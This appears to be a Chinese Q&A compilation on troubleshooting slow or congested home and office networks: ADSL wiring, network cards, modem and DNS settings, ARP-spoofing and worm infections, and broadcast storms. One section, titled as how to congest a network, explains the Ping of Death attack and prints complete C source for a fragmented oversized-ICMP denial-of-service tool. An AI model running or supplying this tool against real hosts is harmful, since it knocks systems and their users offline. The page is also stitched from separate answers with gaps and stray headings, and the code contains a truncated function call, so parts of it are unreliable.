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計算機網路堵塞解決方法

發布時間:2022-05-07 14:53:45

❶ 電腦右下角出現黃色嘆號上不了網,怎麼辦,誰能來拯救下我!

❷ 電腦為什麼網路堵塞

這個問題很多方面啊,基本的,1、你的電腦有木馬,佔了大量的網路資源。2、你是電信還是聯通,有可能部分地區的寬頻把你的某些埠封掉了。
3、電腦緩沖垃圾太多,虛禮內存太小。看看你的配置咯。
解決,下載360安全衛士或金山衛士檢查一下。另外就是看看殺毒軟體咯。推薦「NOD32」,

❸ 電腦老是堵塞,掉線,是不是中了什麼病毒

使用ADSL上網會經常遇到網頁打不開、下載中斷、或者在線視、音頻流中斷、qq掉線、游戲掉線等現象。 我們不妨假定樓主是使用ADSL上網。其實其他方式上網經常掉線的原因和下列原因大致相同。下面我們來分析一下ADSL掉線的原因。

一,線路問題

首先檢查一下家裡線路,看屋內接頭是否接好,線路是否經過了什麼干擾源,比如空調、冰箱、電視等,盡量與這些用電設備保持一定的距離。也可以自行把室內的線路使用抗干擾能力更強的網線代替。確保線路連接正確。電話線入戶後連接接線盒,然後再到話音分離器分離,一線走電話、一線走MODEM(分離器上有標注)。同時確保線路通訊質量良好沒有被干擾,沒有連接其它會造成線路干擾的設備。並檢查接線盒和水晶頭有沒有接觸不良以及是否與其它電線串繞在一起。有條件最好用標准電話線,PC接ADSL Modem附帶的雙絞線。線路是影像上網的質量的重要因素之一。距離用戶電纜線100米以內的無線電發射塔、電焊機、電車或高壓電力變壓器等信號干擾源,都能使用戶下線接收雜波(銅包鋼線屏蔽弱,接收信號能力強),對用戶線引起強干擾。受干擾的信號往往是無屏蔽的下線部分進入,因為中繼電纜有屏蔽層,干擾和影響都很小。如果在干擾大的地方用一些帶屏蔽的下線,就會減少因干擾造成的速度不穩定或掉線現象。另外,電源線不可與adsl線路並行,以防發生串擾,導致adsl故障。另外其他也有很多因素造成網路不穩定,例如信號干擾、軟體沖突。手機這一類輻射大的東西一定不要放在ADSL Modem的旁邊,因為每隔幾分鍾手機會自動查找網路,這時強大的電磁波干擾足以造成ADSL Modem斷流。

二,網卡問題
網卡一般都是PCI網卡或者板載網卡,選擇得時候定要選擇質量較好的,不然可能造成上網質量欠佳。10M或10M/100M自適應網卡都可。另外,許多機器共享上網,使用雙網卡,這也是引起沖突同樣值得關注,這時,應當拔起連接區域網或其它電腦的網卡,只用連接ADSL的網卡上網測試,如果故障恢復正常,再檢查兩塊網卡有沒有沖突。

三,ADSL MODEM或者網卡設置問題

現在MODEM一般具有2種工作模式,一種是使用撥號軟體的正常模式,一種是自動撥號的路由模式。在正常模式工作下,不需要對MODEM進行設置,使用默認即可。而路由模式則需要進行設置,MODEM帶有自己的快閃記憶體,可以將帳戶、密碼盒設置存入,進行開機自動撥號。此方法最常見的是設置錯了ADSL Modem的IP地址,或是錯誤設置了DNS伺服器。因為對於ADSL虛擬撥號的用戶來說,是不需要設定IP地址的,自動分配即可。TCP/IP網關一般也不需要設置。但是設定DNS一定要設置正確,DNS地址可以從當地電信部門獲得。另外,TCP/IP設置最容易引起不能瀏覽網頁的情況,一般設置為自動獲得IP地址,但是DNS一定要填寫。其他採用默認即可

四,ADSL Modem同步異常問題
檢查一下自己的電話線和ADSL連接的地方是否接觸不良,或者是電話線出現了問題,質量不好的電話特別容易造成掉線,但是這樣的問題又不好檢查,所以務必使用質量較好的電話線。如果懷疑分離器壞或ADSL Modem壞,嘗試不使用分離器而直接將外線接入ADSL Modem。分離器與ADSL Modem的連線不應該過長,否則不能同步。排除上述情況,只要重起ADSL Modem就可以解決同步問題。

五,操作系統,病毒問題

除了上面提到的線路狀況外,還有電腦系統方面的問題。比如傳奇殺手引起區域網掉線。該問題在全國均大面積發生,該病毒對主機代理和路由器代理的網吧(區域網)均會造成影響。 傳奇殺手是一款對區域網進行ARP欺騙,虛擬網關地址,以收集區域網中傳奇游戲登陸信息並進行分析從而得到用戶信息的破壞性軟體.工作流程:首先,將本機MAC通過arp欺騙廣播至區域網,使區域網中的工作站誤認為本機是網關.該流程會造成區域網與internet連接中斷,使游戲與伺服器斷開鏈接.待用戶重新啟動游戲並進行帳號登陸時,帳戶信息並不會直接通過網關上傳到代理伺服器,而是上傳到正在進行arp欺騙的傳奇殺手軟體中.通過傳奇殺手自身的解密手段,會獲得該帳戶的真實用戶名及密碼.從而達到竊取玩家帳號的目的.發作狀況:區域網與internet鏈接速度突然變慢甚至斷開.網路游戲斷開鏈接,且重新登陸後提示伺服器無相應。建議首先查殺病毒;如果有能力的話,重新安裝系統;如機器使用有雙網卡,卸載一塊網卡;建議對於電腦不是很熟悉的用戶不要隨意安裝各種防火牆軟體,設置不正確會造成上網不穩定。有的操作系統可能對ADSL的相關組件存在兼容性問題,這樣可以到微軟對系統進行升級,或者修復系統。有條件可以進行重裝。如果軟體有沖突就盡量找出沖突軟體,對其卸載或者其他方法解決。

六,防火牆,IE瀏覽器設置不對
ADSL 雖然受到黑客和病毒的攻擊可能性較小,但也不排除可能性,特別是網頁病毒和蠕蟲病毒。病毒如果破壞了ADSL相關組件也會有發生斷流現象。如果能確定受到病毒的破壞和攻擊,還發生斷流現象時就應該檢查安裝的防火牆、共享上網的代理伺服器軟體、上網加速軟體等,停止運行這類軟體後,再上網測試,看速度是否恢復正常。如果上網不穩定,可以嘗試先關閉防火牆,測試穩定與否,在進行相應的設置。 另外防火牆引起或IE瀏覽器出現故障,也可導致可以正常連接,但不能打開網頁。

七,靜電問題
靜電是影響ADSL的重要因素,而家中的電源一般都不接地線,再加上各種電器(如冰箱、電視)的干擾,很容易引起靜電干擾,致使ADSL在使用中頻繁掉線,請將三芯插座的接地端引出導線並良好接地,一般可以解決掉線問題。一般解決方法:增加接地線,解決掉線問題 。

八,軟體沖突問題
ADSL接入Internet的方式有虛擬撥號和專線接入兩種,現在個人用戶的ADSL大都是虛擬撥號。而PPPOE(Point-to-Point Protocol over Ethernet乙太網上的點對點協議)虛擬撥號軟體都有各自的優缺點。經過多方在不同操作系統的測試,如果使用的操作系統是Windows XP,推薦用它自帶PPPOE撥號軟體,斷流現象較少,穩定性也相對提高。如果使用的是Windows ME或9x,可以用以下幾種虛擬撥號軟體--EnterNet、WinPoET、RasPPPoE。其中,EnterNet是現在比較常用的一款,EnterNet 300適用於Windows 9x;EnterNet 500適用於Windows 2000/XP。當你用一個PPPOE撥號軟體有問題時,不妨卸載這個軟體後換用一個其它的PPPOE撥號軟體,請務必注意不要同時裝多個PPPOE軟體,以免造成沖突。因為電話線上網是寬頻接入的主要方式,而這樣就必須設置一條虛擬通道,如果幾種撥號軟體混裝就會引起沖突,造成網路及其不穩定。如果軟體有沖突就盡量找出沖突軟體,對其卸載或者其他方法解決。比如有的朋友BT下載會導致網路掉線。可能下載的時候佔用過多的線程導致斷線。

另外,,QQ以及游戲掉線的原因除了上述你自己電腦的原因外,還可能與它們自身的伺服器限制以及伺服器被攻擊或出現故障有關系

❹ 家裡電腦網路網路堵塞 怎麼辦

我不知道你的網路堵塞是什麼意思,是不是屏幕右下角本地連接上有個黃色的嘆號啊
如果是的話大概有這么幾個可能
1,路由器啟動設計失敗:路由器剛剛通電啟動的時候,偶爾會有出錯的情況,會導致上不了網;你可以將路由器斷電,等各三兩分鍾在通上。
2,分配IP地址沖突:一般來講的話重啟電腦或路由就可以,如果你想一勞永逸的話,可以手動設置IP。
大概就這些,不知道是不是你想要的,如果不是請見諒。

❺ 網路阻塞的解決方案

運行商線路問題。網速變慢有時候並不是網路本身的問題,而是運行商線路問題。如果網路內部找不到問題時,建議電話詢問一下寬頻運行商。 網線接觸不良或者交換機硬體原因。網線接觸不良或者交換機的硬體原因通常也可能導致網速變慢。這個問題可以通過「Ping」網關來判斷,如果ping網關的延時較高,那基本可以肯定是硬體原因或者接觸不良。 P2P類軟體佔用過多帶寬迅雷、BT等P2P軟體以及在線視頻都會佔用大量的帶寬,因此,我們在檢測網速變慢的原因的時候要確定,區域網內是否有人使用P2P軟體下載,是否有人在線視頻。判斷此類問題最好用流量監測工具,如wireshark、wfilter(超級嗅探狗)。 ARP病毒以及蠕蟲病毒。採用ARP欺騙的木馬病毒發作的時候會發出大量的數據包導致區域網通訊擁塞,用戶會感覺上網速度越來越慢,使區域網近於癱瘓。因此,我們必須及時升級所用殺毒軟體;計算機也要及時升級、安裝系統漏洞補丁程序,同時卸載不必要的服務、關閉不必要的埠;安裝ARP防火牆,以提高系統的安全性和可靠性。同時有些蠕蟲病毒也會導致網路速度變慢。 不合理的網路劃分導致廣播風暴 綜合:為了提高通信效率,有效地避免區域網一些重要部分被攻擊,保護敏感數據,我們可以劃分大量VLAN。由於VLAN之間的通訊必須藉助於第三層設備,在VLAN之間根本無法進行廣播,所以,廣播風暴就會被限制在一個VALN內。由此可見,在區域網絡中,適當地劃分VLAN,不僅有利於提高網路的通訊效率和網路安全,而且還可以有效地提高網路的穩定性,使一台或幾台設備的損壞,不致影響到整個網路的正常通信。

❻ 網路堵塞的原因是什麼

一、網路自身問題

您想要連接的目標網站所在的伺服器帶寬不足或負載過大。處理辦法很簡單,請換個時間段再上或者換個目標網站。
二、網線問題導致網速變慢
我們知道,雙絞線是由四對線按嚴格的規定緊密地絞和在一起的,用來減少串擾和背景噪音的影響。同時,在T568A標准和T568B標准中僅使用了雙絞線的 1、2和3、6四條線,其中,1、2用於發送,3、6用於接收,而且1、2必須來自一個繞對,3、6必須來自一個繞對。只有這樣,才能最大限度地避免串擾,保證數據傳輸。本人在實踐中發現不按正確標准(T586A、T586B)製作的網線,存在很大的隱患。表現為:一種情況是剛開始使用時網速就很慢;另一種情況則是開始網速正常,但過了一段時間後,網速變慢。後一種情況在台式電腦上表現非常明顯,但用筆記本電腦檢查時網速卻表現為正常。對於這一問題本人經多年實踐發現,因不按正確標准製作的網線引起的網速變慢還同時與網卡的質量有關。一般台式計算機的網卡的性能不如筆記本電腦的,因此,在用交換法排除故障時,使用筆記本電腦檢測網速正常並不能排除網線不按標准製作這一問題的存在。我們現在要求一律按T586A、T586B標准來壓制網線,在檢測故障時不能一律用筆記本電腦來代替台式電腦。
三、網路中存在迴路導致網速變慢
當網路涉及的節點數不是很多、結構不是很復雜時,這種現象一般很少發生。但在一些比較復雜的網路中,經常有多餘的備用線路,如無意間連上時會構成迴路。比如網線從網路中心接到計算機一室,再從計算機一室接到計算機二室。同時從網路中心又有一條備用線路直接連到計算機二室,若這幾條線同時接通,則構成迴路,數據包會不斷發送和校驗數據,從而影響整體網速。這種情況查找比較困難。為避免這種情況發生,要求我們在鋪設網線時一定養成良好的習慣:網線打上明顯的標簽,有備用線路的地方要做好記載。當懷疑有此類故障發生時,一般採用分區分段逐步排除的方法。
四、網路設備硬體故障引起的廣播風暴而導致網速變慢
作為發現未知設備的主要手段,廣播在網路中起著非常重要的作用。然而,隨著網路中計算機數量的增多,廣播包的數量會急劇增加。當廣播包的數量達到30%時,網路的傳輸效率將會明顯下降。當網卡或網路設備損壞後,會不停地發送廣播包,從而導致廣播風暴,使網路通信陷於癱瘓。因此,當網路設備硬體有故障時也會引起網速變慢。當懷疑有此類故障時,首先可採用置換法替換集線器或交換機來排除集線設備故障。如果這些設備沒有故障,關掉集線器或交換機的電源後,DOS下用 「Ping」命令對所涉及計算機逐一測試,找到有故障網卡的計算機,更換新的網卡即可恢復網速正常。網卡、集線器以及交換機是最容易出現故障引起網速變慢的設備。
五、網路中某個埠形成了瓶頸導致網速變慢
實際上,路由器廣域網埠和區域網埠、交換機埠、集線器埠和伺服器網卡等都可能成為網路瓶頸。當網速變慢時,我們可在網路使用高峰時段,利用網管軟體查看路由器、交換機、伺服器埠的數據流量;也可用 Netstat命令統計各個埠的數據流量。據此確認網路數據流通瓶頸的位置,設法增加其帶寬。具體方法很多,如更換伺服器網卡為100M或1000M、安裝多個網卡、劃分多個VLAN、改變路由器配置來增加帶寬等,都可以有效地緩解網路瓶頸,可以最大限度地提高數據傳輸速度。
六、蠕蟲病毒的影響導致網速變慢
通過E-mail散發的蠕蟲病毒對網路速度的影響越來越嚴重,危害性極大。這種病毒導致被感染的用戶只要一上網就不停地往外發郵件,病毒選擇用戶個人電腦中的隨機文檔附加在用戶機子的通訊簿的隨機地址上進行郵件發送。成百上千的這種垃圾郵件有的排著隊往外發送,有的又成批成批地被退回來堆在伺服器上。造成個別骨幹互聯網出現明顯擁塞,網速明顯變慢,使區域網近於癱瘓。因此,我們必須及時升級所用殺毒軟體;計算機也要及時升級、安裝系統補丁程序,同時卸載不必要的服務、關閉不必要的埠,以提高系統的安全性和可靠性。
七、防火牆的過多使用防火牆的過多使用也可導致網速變慢,處理辦法不必多說,卸載下不必要的防火牆只保留一個功能強大的足以。
八、系統資源不足
您可能載入了太多的運用程序在後台運行,請合理的載入軟體或刪除無用的程序及文件,將資源空出,以達到提高網速的目的。

如何網路堵塞

Ping of Death

在網際網路上,ping of death是一種拒絕服務攻擊,方法是由攻擊者故意發送大於65536比特的ip數據包給對方。 TCP/IP的特徵之一是碎裂;它允許單一IP包被分為幾個更小的數據包。在1996年,攻擊者開始利用那一個功能,當他們發現一個進入使用碎片包可以將整個IP包的大小增加到ip協議允許的65536比特以上的時候。當許多操作系統收到一個特大號的ip包時候,它們不知道該做什麼,因此,伺服器會被凍結、當機或重新啟動。
ICMP的回送請求和應答報文通常是用來檢查網路連通性,對於大多數系統而言,發送ICMP echo request 報文的命令是ping ,由於ip數據包的最大長度為65535位元組。而ICMP報頭位於數據報頭之後,並與ip數據包封裝在一起,因此ICMP數據包最大尺寸不超過65515位元組利用這一規定,可以向主機發動 ping of death 攻擊。ping of death 攻擊 是通過在最後分段中,改變其正確的偏移量和段長度的組合,使系統在接收到全部分段並重組報文時總的長度超過了65535位元組,導致內存溢出,這時主機就會出現內存分配錯誤而導致TCP/IP堆棧崩潰,導致死機!
ping_of_death簡述summarization:
通過分片傳輸大於64k的包,導致系統崩潰
vulnerable system:
old windows version or old linux version
in rfc 791 desctibed the maximum ip packet size is 65535, if a system has't check fragment size, when reassemble fragments may cause buffer overflow!
bottom is the sketch map for ping_of_deatch.
below is the ping_of_death source .
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/*
* If your kernel doesn't muck with raw packets, #define REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;
bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostname\n", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
}
} else {
b(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all 0's is easy to compute */
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}

❽ 是什麼原因導致網路堵塞

一、系統資源不足

您可能載入了太多的運用程序在後台運行,請合理的載入軟體或刪除無用的程序及文件,將資源空出。一、網路自身問題

二、蠕蟲病毒的影響導致網速變慢

這種病毒導致被感染的用戶只要一上網就不停地往外發郵件,病毒選擇用戶個人電腦中的隨機文檔附加在用戶機子的通訊簿的隨機地址上進行郵件發送。成百上千的這種垃圾郵件有的排著隊往外發送,有的又成批成批地被退回來堆在伺服器上。造成個別骨幹互聯網出現明顯擁塞,網速明顯變慢,使區域網近於癱瘓。

三、網路中存在迴路導致網速變慢

在一些比較復雜的網路中,經常有多餘的備用線路,如無意間連上時會構成迴路。比如網線從網路中心接到計算機一室,再從計算機一室接到計算機二室。同時從網路中心又有一條備用線路直接連到計算機二室,若這幾條線同時接通,則構成迴路,數據包會不斷發送和校驗數據,從而影響整體網速。

❾ 如何解決區域網堵塞故障

第一步、在工作時間打開路由器的管理信息庫即MIB庫,MIB庫上的信息顯示網路的平均流量不超過50%,僅有小部分發生數據碰撞,這說明當前網路結構中的大部分設備是完好的,故障可能是由某個工作站引起的。為了准確摸清故障點,找來了網路萬用表接入網路進行測試,在網路堵塞時發現網路萬用表所測得的網路流量非常高達到了80%以上,其中發生碰撞的數據幀佔了絕大多數。

第二步、下面的工作是要確定此工作站在區域網中所處位置,方法是打開各工作站網卡MAC地址的備份,與網路萬用表中找到的MAC地址對照查找後,明確了被懷疑工作站的位置與用戶。

第三步、接下來對被懷疑工作站進行重點查訪時發現了一個怪現象,在網路堵塞時,該工作站用戶並未使用計算機,將網路測試儀與該工作站網卡連接,摸似發送流量,發現數據碰撞隨流量的增加而大幅增加。從以上現象可以判斷網卡的連接上有故障,接著測試此工作站的網卡與網線,結果顯示當前使用的水晶頭為三類而不是五類,所以使鏈路近端串擾超差較多。

第四步、經過與此工作站使用者交談了解道,這個工作站的使用者缺乏一定的網路常識,在水晶頭損壞的情況下隨便找了一個三類水晶頭換上,後又在網上下載了一些壓縮的動態文件,這些文件可以在網路中實時傳輸。在該用戶將下載的動態文件解壓後發送給其它用戶時,網路數據包的流量就會急劇增加,至使數據包在傳送時出現丟包現象,導至數據反復重新發送,由於此區域網中所有工作站處於一個網段,一台工作站的工作狀態會影響整個網路的傳輸質量,從而造成整個網路堵塞故障。

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